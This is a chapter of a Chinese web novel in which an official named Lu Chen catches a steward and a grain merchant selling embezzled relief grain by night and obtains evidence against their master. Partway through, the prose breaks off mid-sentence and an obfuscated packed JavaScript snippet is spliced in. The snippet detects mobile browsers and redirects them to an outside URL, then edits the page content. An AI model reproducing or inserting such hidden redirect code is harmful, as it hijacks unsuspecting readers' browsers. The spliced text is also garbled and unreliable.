一个可怕的念头,在他心中疯狂滋长。
难道那姓陆的,从一开始的目标就不是什么抗旱,而是冲着自己来的?
他之前所做的一切,都是障眼法?
赵德柱越想越心惊,后背瞬间被冷汗浸透。
他终于明白过来,自己是中了对方的圈套了。
不行,不能再等下去了!
他霍然起身,一把抓住赵管家的衣领,双目赤红。
“立刻去一趟泰丰粮行!”
“告诉钱有财,那批东西,必须马上处理掉!”
“今晚就运走!”
赵管家被他狰狞的模样吓了一跳,结结巴巴地劝道。
“老、老爷,这节骨眼上行动,会不会太扎眼了?”
“万一被他们抓个正着……”
赵德柱气得浑身发抖,抬手就给了他一个耳光。
“蠢货!”
“等他查实了,咱俩的脑袋都得搬家!”
“快去!”
赵管家捂着火辣辣的脸,再不敢有半句异议。
“是是是,小的这就去!”
他连滚带爬地离开书房,出了府。
在他身后,一道黑影悄无声息地从街角的阴影中滑出,远远地跟了上去。
别院内,烛火通明。
张猛的身影如鬼魅般出现在书房,单膝跪地。
“驸马爷。”
陆宸放下手中的舆图,抬眸看向他。
“如何?”
张猛沉声禀报。
“赵德柱的心腹赵管家,方才去了泰丰粮行。”
“他与粮行东家钱有财密谈了许久,约定今夜子时,在城西二十里外的废弃砖窑,与一伙胡商交易一批货物。”
陆宸眼神一凛。
“可知是何货物?”
“他们并未明说。”张猛顿了顿,“但属下猜测,**不离十,就是那批消失的官粮。”
陆宸站起身,眼中杀机毕现。
“点齐人手。”
“今夜,我们去收网。”
子时。
城西二十里外的废弃砖窑,几点鬼火般的灯笼在风中摇曳。
几辆装得满满当当的马车,静静地停在空地中央。
钱有财揣着手,不停地在原地踱步,一双小眼睛警惕地扫视着四周无边的黑暗。
这心怎么跳得跟打鼓似的,这可是掉脑袋的买卖。可那白花花的银子,又实在诱人,快点结束,拿了钱赶紧走人。
他身旁,赵管家正与几个高鼻深目的胡商低声交谈着什么。
他手里拿着一本账册,时不时地用笔在上面勾画一下,神情看似镇定,额角的汗珠却出卖了他。
“数目都对上了,诸位可以验货了。”
为首的胡商满意地点了点头,正要挥手示意手下将一箱箱银子抬过来。
就在这银货即将两讫的紧要关头。
“唰——”
黑暗中,骤然亮起数十支火把。
“都不许动!”
一声暴喝响起,张猛手持长刀,从暗处一跃而出。
紧接着,数十名手持兵刃的护卫从四面八方涌出,瞬间将场中众人团团围住。
那几个胡商和伙计全都吓懵了,抱头蹲在了地上。
钱有财更是双腿一软,直接瘫坐在地,面如土色。
赵管家脸色剧变,下意识便要去撕毁手中的账本。
他手上刚一用力,只觉手腕一麻,一道劲风袭来。
张猛一个箭步上前,一把便将那账本夺了过来。
火光摇曳中,一道修长的身影缓缓从护卫身后走了出来。
陆宸一身玄衣,面色沉静。
他走到一辆马车前,抽出腰间的**,随手一划。
“哗啦——”
麻袋被割开一道巨大的口子,黄澄澄的粮食倾泻而下,瞬间在地上堆起了一座小山。
他抬起眼,目光落在早已面无人色的二人身上,嘴角勾起一抹讥讽的笑意。
“赵管家,钱老板,好兴致啊。”
“深更半夜,在此处交易粮食,不知可有官府的批文?”
赵管家被他看得心头发毛,嘴唇哆嗦着,一个字也说不出来。
钱有财还想做最后的挣扎,强自镇定地辩解。
“这、这是小的自己的私粮,与官府无关!”
陆宸闻言,轻笑一声。
他朝张猛伸出手,后者立刻恭敬地将那本账册递了过去。
陆宸信手翻了几页,目光在上面淡淡一扫。
“是吗?”
“可这上面记录的数目,与县衙库房里,莫名消失
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682050|188790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那批官粮,分毫不差。”
他合上账册,向前逼近一步,目光剜在赵管家身上。
“赵管家不在府中伺候赵大人,却跑到这荒郊野岭做起了粮食买卖。”
“不知此事,赵大人可知情?”
最后一句话,彻底击溃了赵管家最后一道心理防线。
大势已去,再嘴硬下去,只有死路一条!
他扑通一声跪倒在地,朝着陆宸连连磕头。
“驸马爷饶命!驸马爷饶命啊!”
“这一切、这一切都是赵德柱指使小的干的!”
“这粮食,就是他贪墨的官粮!卖粮的银子,也大都进了他的私库!”
为了活命,他此刻已是将赵德柱卖了个干干净净。
“小的、小的还有证据!”
说着,他急忙从怀中掏出几封皱巴巴的信件,高高举过头顶。
“这是赵德柱与钱有财往来分赃的私信,都在这儿了!”
一旁的钱有财气得两眼一翻,哆哆嗦嗦伸出手,指着赵管家。
“你、你……”
陆宸接过那几封信,扫了一眼,确认无误后,便递给了身后的张猛。
他居高临下地看着地上的二人,淡淡吩咐。
“将他们都押回去,严加看管。”
“是!”
张猛一挥手,立刻有护卫上前,将二人架了起来。
眼看就要将人带走,陆宸忽然开口。
“等等。”
众人动作一顿,皆是不解地看向他。
陆宸走到赵管家面前,在他惊恐的目光中,一把抓起他的右手翻了过来。
只见那掌心处,赫然有一颗米粒大小的黑痣。
回到别院,已是深夜。
陆宸将那本账册与几封私信一并交到了洛晴雪的手中。
他什么也没说,只是静静地看着她。
洛晴雪借着烛光一页页翻看,脸色也渐渐冷了下去。
贪墨官粮,倒卖赈灾之物,中饱私囊。
桩桩件件,触目惊心。
她合上账册,抬起眼,眸中已是一片寒霜。
“夫君,放手去做吧。”
“此等蠹虫,盘踞长平,祸国殃民,罪无可赦。”
赵德柱一日不除,长平县便一日不得安宁。